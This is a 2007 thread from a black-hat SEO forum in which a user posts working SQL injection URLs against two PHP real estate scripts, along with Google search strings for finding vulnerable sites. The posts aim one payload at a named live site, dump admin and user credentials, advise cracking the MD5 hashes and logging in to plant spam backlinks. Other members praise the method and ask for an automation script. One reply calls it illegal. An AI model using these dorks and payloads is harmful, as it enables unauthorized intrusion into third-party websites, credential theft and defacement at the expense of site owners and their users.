Black Hat Forum
Go Back   Black Hat Forum > Black Hat SEO Forum > Black Hat SEO

Black Hat SEO Black Hat Search Engine Optimization. Discuss ways to improve your sites ways using Black Hat SEO tactics!

Search
 
Reply
 
LinkBack Thread Tools Display Modes
  #1 (permalink)  
Old 12-18-2007, 01:21 PM
Murk's Avatar
Junior Member
 
Join Date: Nov 2007
Posts: 157
Thanks: 8
Thanked 3 Times in 3 Posts
Activity: 2%
Longevity: 34%
Today: 0/5
Default Exploiting For BackLinks #1

Exploiting For BackLinks #1


T0pPSuZz reported an exploit on Milw0rm.com for the very heavily used PHP Real Estate Script. This exploit is a simple SQL injection vulnerability that ultimately will allow you to retrieve admin login details in plain text. Once login details have been recovered, we can login to the Real Estate admin panel and add our links.

Ok, search the following in Google;
"Browse with Interactive Map"


My search returned over 2800 results. . . . drool. In this example I would recommend skipping to the 8th or 9th page of results as many of the first page listing have already been hacked, or otherwise defaced.

Below is a site running the script we are trying to exploit


The site above is a perfect example, and yes it is a real live target out there. Now the exploit works like this;
Code:
www.site.com/fullnews.php?id=-1/**/UNION/**/ALL/**/SELECT/**/1,2,concat(username,char(58),password),4,5/**/FROM/**/admin/*
so we replace
Code:
http://www.emerald-city.ca/buy.php
with
Code:
http://www.emerald-city.ca/fullnews.php?id=-1/**/UNION/**/ALL/**/SELECT/**/1,2,concat(username,char(58),password),4,5/**/FROM/**/admin/*
and we get the following;


As you can see the Administrator login is in plain site. Now all we have to do is login by going to /admin/ now go add some back links.

~Enjoy
Digg this Post!Add Post to del.icio.usBookmark Post in TechnoratiFurl this Post!
Reply With Quote
  #2 (permalink)  
Old 12-18-2007, 01:26 PM
Murk's Avatar
Junior Member
 
Join Date: Nov 2007
Posts: 157
Thanks: 8
Thanked 3 Times in 3 Posts
Activity: 2%
Longevity: 34%
Today: 0/5
Default Re: Exploiting For BackLinks #1

a little perl script and I can do 7 links an hour. I know that isn't much however if you do your PR research a head of time it can turn out very well.
Digg this Post!Add Post to del.icio.usBookmark Post in TechnoratiFurl this Post!
Reply With Quote
  #3 (permalink)  
Old 12-18-2007, 01:35 PM
SmallStorm's Avatar
Jr. VIP
 
Join Date: Dec 2007
Posts: 274
Thanks: 25
Thanked 13 Times in 7 Posts
Activity: 28%
Longevity: 31%
Today: 1/5
Send a message via Yahoo to SmallStorm
Default Re: Exploiting For BackLinks #1

Quote:
Originally Posted by Murk View Post
a little perl script and I can do 7 links an hour. I know that isn't much however if you do your PR research a head of time it can turn out very well.
Every bit counts.

Good post. Thanks.

Chris
Digg this Post!Add Post to del.icio.usBookmark Post in TechnoratiFurl this Post!
Reply With Quote
  #4 (permalink)  
Old 12-18-2007, 01:37 PM
sageman's Avatar
Jr. VIP
 
Join Date: Aug 2007
Posts: 161
Thanks: 3
Thanked 3 Times in 3 Posts
Activity: 12%
Longevity: 41%
Today: 0/5
Default Re: Exploiting For BackLinks #1

damn!!! all of them have been hacked already!
Digg this Post!Add Post to del.icio.usBookmark Post in TechnoratiFurl this Post!
Reply With Quote
  #5 (permalink)  
Old 12-18-2007, 01:43 PM
Murk's Avatar
Junior Member
 
Join Date: Nov 2007
Posts: 157
Thanks: 8
Thanked 3 Times in 3 Posts
Activity: 2%
Longevity: 34%
Today: 0/5
Default Re: Exploiting For BackLinks #1

keep digging at the end, there are still plenty~
Digg this Post!Add Post to del.icio.usBookmark Post in TechnoratiFurl this Post!
Reply With Quote
  #6 (permalink)  
Old 12-19-2007, 12:08 AM
Murk's Avatar
Junior Member
 
Join Date: Nov 2007
Posts: 157
Thanks: 8
Thanked 3 Times in 3 Posts
Activity: 2%
Longevity: 34%
Today: 0/5
Default Re: Exploiting For BackLinks #1

here is another fresh one just publicly reported today....hurry up before they are all gone!

search;
Quote:
Powered by phpMyRealty
Then access the urls like such;
For admin user name and password
Quote:
thesitenamehere/search.php?type=-1+union+select+concat_ws(char(58),login,password)+ from+pmr_admins
For the listing of users and passwords
Quote:
/search.php?type=-1+union+select+concat_ws(char(58),login,password)+ from+pmr_users
Grab the MD5 password(s) and enter them into your favorite password crack. MD5 password hashs will look like the following:
Quote:
21232f297a57a5a743894a0e4a801fc3
Once crack you can login to the admin panel by going to;
Quote:
thesitenamehere/admin/index.php
enjoy~

Last edited by Murk; 12-19-2007 at 12:08 AM. Reason: exploit found by Koller
Digg this Post!Add Post to del.icio.usBookmark Post in TechnoratiFurl this Post!
Reply With Quote
  #7 (permalink)  
Old 12-19-2007, 09:03 PM
Aare's Avatar
Peasant
 
Join Date: Oct 2007
Location: Estonia
Posts: 75
Thanks: 0
Thanked 1 Time in 1 Post
Activity: 8%
Longevity: 36%
Today: 0/5
Default Re: Exploiting For BackLinks #1

Quote:
Originally Posted by Murk View Post
a little perl script and I can do 7 links an hour. I know that isn't much however if you do your PR research a head of time it can turn out very well.
Murk, this may be a lifesaver since Im starting a whitehat real estate portal.
I know this may be arrogent to ask but do you share your perl script?

Great post. (Mürk means "poison" in my language )
Digg this Post!Add Post to del.icio.usBookmark Post in TechnoratiFurl this Post!
Reply With Quote
The Following User Says Thank You to Aare For This Useful Post:
Murk (08-12-2008)
  #8 (permalink)  
Old 12-19-2007, 10:29 PM
Newbie
 
Join Date: Jun 2007
Posts: 31
Thanks: 0
Thanked 0 Times in 0 Posts
Activity: 7%
Longevity: 46%
Today: 1/5
Default Re: Exploiting For BackLinks #1

Great post!
This is some really advanced stuff!
Digg this Post!Add Post to del.icio.usBookmark Post in TechnoratiFurl this Post!
Reply With Quote
  #9 (permalink)  
Old 12-20-2007, 06:20 AM
chaser's Avatar
Jr. VIP
 
Join Date: Nov 2007
Posts: 206
Thanks: 1
Thanked 2 Times in 2 Posts
Activity: 32%
Longevity: 31%
Today: 1/5
Default Re: Exploiting For BackLinks #1

It is illegal. Your butts will burn in hell!
Digg this Post!Add Post to del.icio.usBookmark Post in TechnoratiFurl this Post!
Reply With Quote
Reply

Thread Tools
Display Modes

Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

BB code is On
Smilies are On
[IMG] code is On
HTML code is Off
Trackbacks are On
Pingbacks are On
Refbacks are On
Forum Jump


Add Your Link



Site protected by Firewall Script


Sitemap: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54